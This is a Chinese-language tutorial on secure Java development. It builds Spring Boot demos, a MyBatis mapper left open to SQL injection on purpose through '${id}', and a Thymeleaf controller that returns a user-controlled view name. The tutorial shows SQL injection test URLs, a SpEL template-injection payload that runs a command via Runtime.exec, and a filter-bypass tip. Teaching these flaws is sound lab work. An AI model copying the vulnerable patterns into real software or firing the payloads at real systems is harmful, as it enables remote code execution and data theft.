第38天:安全开发-JAVAEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模板注入

Spring Boot 之所以成为当前 Java 生态中适用面最广的开发框架,核心在于它解决了传统 Java 开发的痛点,同时顺应了现代软件架构的需求,其优势体现在开发效率、生态兼容、场景适配等多个维度。

创建一个springboot的项目

image-20250806093632186

在最顶端的这个服务器URL地址这里:

1
2
3
4
服务器url可以选择两个:

https://start.spring.io
https://start.aliyun.com

image-20250806093654554

编写一个静态页面:

image-20250806094826151

image-20250806094922980

image-20250806094943136

如果端口有冲突,就可以修改这里的端口就行。

拼接路径xiaodi,得到刚刚编写的return yatming。

image-20250806095035398

使用get和post的提交

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.yatming.springboot_demo.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
@RequestMapping(value = "/xiaodiget",method = RequestMethod.GET)
public String getindex(){
return "get test";
}

@RequestMapping(value = "/xiaodipost",method = RequestMethod.POST)
public String postindex(){
return "post test";
}
}

使用get请求

image-20250806095924179

使用post请求提交

image-20250806095828889

第二种写法:

image-20250806100117323

增加接受变量参数的写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.yatming.springboot_demo.controller;

import org.springframework.web.bind.annotation.*;

@RestController
public class IndexController {
@RequestMapping(value = "/xiaodiget",method = RequestMethod.GET)
//@GetMapping()
public String getindex(){
return "get test";
}

@RequestMapping(value = "/xiaodipost",method = RequestMethod.POST)
//@PostMapping("")
public String postindex(){
return "post test";
}


@RequestMapping(value = "/xiaodiget_g",method = RequestMethod.GET)
//@PostMapping("")
public String get_g(String name){
return "get test="+name;
}

@RequestMapping(value = "/xiaodipost_p",method = RequestMethod.POST)
//@PostMapping("")
public String post_p(String name){
return "post test="+name;
}
}

image-20250806114706670

post的方式:

image-20250806115045743

Springboot 链接 MySQL数据库

image-20250806120309562

新建项目的时候勾选上图这些东西。然后简单的创建一个数据库:

image-20250806120653208

image-20250806122740515

1
2
3
4
5
6
spring:
datasource:
url: jdbc:mysql://localhost:3306/xiaodi
username: root
password: root
driver-class-name: com.mysql.cj.jdbc.Driver

将其复制粘贴就行了。

然后创建一个类:entity.User,一般的开发环境,都是一个对应的文件夹一个对应的类,所以这里同样。

1
2
3
按下快捷键 Alt + Insert(Windows/Linux)系统
右键点击类内部空白处,选择 Generate → Getter and Setter
也可以通过顶部菜单栏 Code → Generate → Getter and Setter 打开

image-20250806122703974

image-20250806122712535

上述代码通常在 Spring Boot 项目中作为数据模型使用,用于在 Controller、Service、Repository 层之间传递用户数据。

生成好之后,这里在创建一个接口:

image-20250806123421317

Mybatis中SQL注入攻击的3种方式:

1
https://cloud.tencent.com/developer/article/2135404

GetadminController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example.springbootmybatils.controller;

import com.example.springbootmybatils.entity.User;
import com.example.springbootmybatils.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.util.List;

@RestController
public class GetadminController {

@Autowired
private UserMapper UserMapper;

@GetMapping("/getadmin")
public List<User> getadmindata(@RequestParam Integer id){
List<User> all = UserMapper.findAll(id);
return all;
}

@GetMapping("/getid")
public List<User> getadminid(){
List<User> all = UserMapper.findID();
return all;
}

}

image-20250806145257965

UserMapper.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example.springbootmybatils.mapper;


import com.example.springbootmybatils.entity.User;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;

import java.util.List;

@Mapper
public interface UserMapper {
@Select("select * from xd where id like '%${id}%'")
public List<User> findAll(Integer id);

@Select("select * from xd where id=1")
public List<User> findID();
}

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example.springbootmybatils.entity;

public class User {
private Integer id;
private String username;
private String password;

public Integer getId() {
return id;
}

public void setId(Integer id) {
this.id = id;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

@Override
public String toString() {
return "User{" +
"id=" + id +
", username='" + username + '\'' +
", password='" + password + '\'' +
'}';
}
}

image-20250806145505581

1
2
3
http://127.0.0.1:8080/getadmin?id=1%' or '1'='1

http://127.0.0.1:8080/getadmin?id=1%' or 1=1#

image-20250806150801062

但是我这里没有注入成功。

SpringBoot-模版引擎-Thymeleaf

ThyremeafController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package cn.xiaodisec.thyremeafdemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@Controller
public class ThyremeafController {
// @RequestMapping(value = "/")
// public String index(Model model) {
// model.addAttribute("data","hello xiaodi");
// //@RestController ResponseBody index当做字符串显示操作
// //Controller 没有ResponseBody index当做资源文件去渲染
// return "index";
// }

@RequestMapping(value = "/test")
public String index() {
//@RestController ResponseBody index当做字符串显示操作
//Controller 没有ResponseBody index当做资源文件去渲染
return "test";
}

@RequestMapping(value = "/")
public String index(@RequestParam String lang) {
//@RestController ResponseBody index当做字符串显示操作
//Controller 没有ResponseBody index当做资源文件去渲染
return lang; //lang=en index-en
}


}

image-20250806151629671

访问/的时候:

image-20250806155210478

可以发现确实进行渲染了。

image-20250806155318848

image-20250806155331189

上图就是配置了渲染的路径,还有自动拼接的后缀。

image-20250806155408791

所以这里的意思就是当你访问/test的时候就会返回,Test.html这个路径。

image-20250806155541512

这里的页面的内容是:xiaodisec

查看一下test.html:

image-20250806155612429

可以看到确实是这个内容。

image-20250806160017868

有些网站在会有中文,英文,还有其他语言的配置选项,那么如果这里使用的有漏洞的版本,并且他的写法也是这样可以控制变量传参的写法, 那么就会出现模板注入。

1
2
3
Thymeleaf 模板注入漏洞主要影响 3.0.0 至 3.0.11 版本。

3.0.12 版本及以后对相关漏洞进行了修复,但仍存在一些绕过方式。例如在 3.0.15 版本中,虽修复了 LiteralSubstitutionUtil 函数,添加了对于 “||” 的过滤处理等,但仍可通过一些特殊手段绕过检测,如在 SpringEL 表达式中,在 T 与恶意 Class 之间加个空格来绕过检测并执行表达式。

image-20250806160326374

传入恶意的值:

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

并且这里需要使用有漏洞的版本:

image-20250806160356820

image-20250806160423319

1
https://forum.butian.net/share/4179			#Thymeleaf模板引擎注入绕过思路